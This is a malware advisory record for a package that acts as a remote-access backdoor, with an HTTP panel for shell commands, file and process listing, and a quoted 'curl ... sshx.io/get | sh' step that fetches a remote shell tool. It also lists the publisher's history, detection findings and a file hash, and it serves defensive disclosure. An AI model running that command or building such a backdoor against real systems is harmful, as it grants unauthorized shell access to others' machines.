GCVE-110-OSM-2026-6492

This package is a remote-access backdoor that installs an HTTP control panel exposing endpoints to execute arbitrary shell commands (/run), enumerate filesystem contents (/home, /tmp), list running processes (/process), and — critically — download and execute the sshx remote shell tool via `curl -sSf https://sshx.io/get | sh -s run`. The attacker model is persistent remote access: once deployed, an authenticated user (auth code passed as argv[2]) can obtain an sshx tunnel URL via /getssh, giving interactive shell access to the host. The publisher 'liming2038' has a prior confirmed malicious package (kisama-js, severity: high), and the package name itself references sshx, consistent with intentional tooling for unauthorized remote access rather than accidental misuse. The curl-pipe-shell execution of a remotely fetched binary combined with a web-accessible control surface is a clear attacker-controlled persistence mechanism. ENTRY index.js (bin: index.js) DESTINATION - custom-c2: https://sshx.io/get (primary, plaintext) in index.js - custom-c2: sshx.io (plaintext) in index.js EXFIL - Data Encoding for Exfiltration in index.js: "encodeURIComponent(req.originalUrl" - Curl/Wget Pipe to Shell in index.js: "curl -sSf https://sshx.io/get | sh" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" - Publisher Has Other Malicious Packages - Malicious Dependency Detected in package.json PAYLOAD FILES index.js INDICATORS (IOCs) - payloadFileHash: 917494ecc2195413efd9f433b4359f5f032b80616e5a084766becb2a82e2bfe0